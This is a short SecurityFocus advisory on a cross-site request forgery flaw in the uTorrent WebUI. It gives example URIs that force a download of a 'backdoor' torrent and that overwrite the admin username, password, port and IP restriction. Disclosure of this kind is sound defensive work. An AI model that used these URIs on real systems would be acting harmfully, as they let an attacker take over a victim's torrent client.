uTorrent WebUI Cross-Site Request Forgery Vulnerability

To exploit this issue, an attacker must entice an unsuspecting victim into following a malicious URI.

The following example URIs are available:

To force a file download:
http://www.example.com:8080/gui/?action=add-url&s=http://localhost/backdoor.torrent

To change administrative credentials and settings:
http://www.example.com:8080/gui/?action=setsetting&s=webui.username&v=badmin
http://www.example.com:8080/gui/?action=setsetting&s=webui.password&v=badmin
http://www.example.com:8080/gui/?action=setsetting&s=webui.port&v=4096 http://www.example.com:8080/gui/?action=setsetting&s=webui.restrict&v=127.0.0.1/24,10.1.1.1


 

Privacy Statement
Copyright 2010, SecurityFocus